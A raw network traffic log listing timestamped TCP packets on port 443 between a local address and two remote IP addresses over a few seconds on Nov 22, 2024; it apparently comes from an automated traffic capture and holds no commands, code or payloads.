Nov 22, 2024 23:00:57.071731091 CET	443	49799	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.071779013 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.072747946 CET	49799	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.151958942 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.152033091 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.152107954 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.158535957 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.158552885 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.241887093 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.241970062 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.242094040 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.242444992 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.242480040 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.243262053 CET	49755	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.243283987 CET	443	49755	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.605741024 CET	443	49804	172.217.19.206	192.168.2.16
Nov 22, 2024 23:00:57.606591940 CET	443	49804	172.217.19.206	192.168.2.16
Nov 22, 2024 23:00:57.606657028 CET	49804	443	192.168.2.16	172.217.19.206
Nov 22, 2024 23:00:57.607291937 CET	49804	443	192.168.2.16	172.217.19.206
Nov 22, 2024 23:00:57.607311010 CET	443	49804	172.217.19.206	192.168.2.16
Nov 22, 2024 23:00:57.655606985 CET	443	49755	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.655637026 CET	443	49755	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.655644894 CET	443	49755	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.655658007 CET	443	49755	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.655684948 CET	443	49755	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.655708075 CET	49755	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.655730963 CET	443	49755	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.655750990 CET	49755	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.655786991 CET	49755	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.670983076 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.671021938 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.671083927 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.671502113 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.671565056 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.671633959 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.671878099 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.671894073 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.672080994 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.672107935 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.855912924 CET	443	49755	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.855966091 CET	443	49755	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.856003046 CET	49755	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.856019020 CET	443	49755	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.856033087 CET	443	49755	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:57.856060982 CET	49755	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.856086016 CET	49755	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.856385946 CET	49755	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:57.856409073 CET	443	49755	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:58.525599957 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:58.525938034 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:58.525974035 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:58.526463985 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:58.526808977 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:58.526892900 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:58.526982069 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:58.563544989 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:58.564913034 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:58.564934015 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:58.571341991 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:58.938369036 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:58.938751936 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:58.938786030 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:58.940277100 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:58.940340996 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:58.940759897 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:58.940843105 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:58.941160917 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:58.941170931 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:58.985110998 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:58.985441923 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:58.985464096 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:58.986349106 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:58.986422062 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:58.986656904 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:58.986711025 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:58.986788034 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:58.986795902 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:58.993680000 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.040673971 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.093414068 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.093449116 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.093462944 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.093825102 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.093858957 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.093919039 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.261724949 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.261751890 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.261771917 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.261856079 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.261888981 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.261941910 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.285053015 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.285087109 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.285176992 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.285191059 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.285239935 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.341342926 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.341373920 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.341470957 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.341481924 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.341531992 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.458223104 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.458249092 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.458304882 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.458338976 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.458353996 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.458380938 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.465751886 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.465775013 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.465837955 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.465851068 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.465868950 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.465897083 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.499125957 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.499180079 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.499280930 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.499309063 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.499420881 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.499814034 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.499876022 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.499900103 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.499943972 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.499954939 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.499965906 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.499974966 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.499984980 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.499993086 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.500015020 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.500017881 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.500039101 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.500065088 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.500502110 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.500523090 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.500566959 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.500575066 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.500587940 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.500622034 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.522337914 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.522360086 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.522449017 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.522458076 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.522512913 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.543941975 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.544003010 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.544089079 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.544099092 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.544188023 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.634941101 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.634979010 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.634996891 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.635036945 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.635054111 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.635062933 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.635070086 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.635109901 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.635138988 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.635158062 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.645555019 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.645581007 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.645668983 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.645700932 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.645741940 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.658648968 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.658701897 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.658747911 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.658757925 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.658797979 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.658813000 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.669395924 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.669415951 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.669492006 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.669507980 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.669553995 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.675435066 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.675484896 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.675518990 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.675525904 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.675558090 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.675579071 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.680937052 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.680995941 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.681018114 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.681034088 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.681055069 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.681078911 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.688842058 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.688886881 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.688919067 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.688925982 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.688956022 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.688976049 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.697263956 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.697285891 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.697323084 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.697333097 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.697385073 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.697423935 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.704133034 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.704195976 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.704205990 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.704225063 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.704257011 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.704277039 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.719572067 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.719615936 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.719655991 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.719662905 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.719702005 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.719713926 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.719727993 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.719849110 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.719898939 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.725064039 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.725091934 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.725145102 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.725162029 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.725187063 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.725223064 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.729334116 CET	49808	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.729352951 CET	443	49808	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.733922005 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.733980894 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.734006882 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.734019041 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.734046936 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.734070063 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.831290007 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.831327915 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.831381083 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.831396103 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.831424952 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.831439972 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.854331970 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.854410887 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.854438066 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.854449034 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.854479074 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.854496002 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.858700037 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.858721018 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.858791113 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.858814001 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.858870029 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.876698017 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.876724958 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.876826048 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.876840115 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.876888990 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.879232883 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.879256010 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.879303932 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.879343987 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.879358053 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.879398108 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.888207912 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.888298035 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.888299942 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.888330936 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.888351917 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.888367891 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.896967888 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.896991014 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.897064924 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.897078037 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.897123098 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.917505980 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.917551041 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.917682886 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.917701960 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.917746067 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.923470020 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.923531055 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.923569918 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.923579931 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.923607111 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.923648119 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.938138962 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.938159943 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.938214064 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.938229084 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.938240051 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.938270092 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.957231045 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.957252979 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.957355976 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.957369089 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.957437038 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.958520889 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.958575964 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.958635092 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.958645105 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:59.958663940 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:59.958709955 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.005726099 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.005753040 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.005840063 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.005860090 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.005913019 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.042748928 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.042773008 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.042860985 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.042871952 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.042923927 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.044780970 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.044811010 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.044864893 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.044887066 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.044905901 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.044936895 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.072797060 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.072825909 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.072864056 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.072916031 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.072935104 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.072963953 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.072979927 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.072995901 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.073019981 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.073039055 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.073087931 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.077786922 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.077845097 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.077910900 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.077918053 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.077931881 CET	443	49809	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.077966928 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.077996016 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.078044891 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.078079939 CET	49809	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.078082085 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.078114033 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.078140020 CET	49806	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.087356091 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.087378979 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.087466955 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.087485075 CET	443	49810	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.087552071 CET	49810	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:00.092113972 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.092176914 CET	443	49806	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:00.092211962 CET	49806	443	192.168.2.16	217.77.14.110
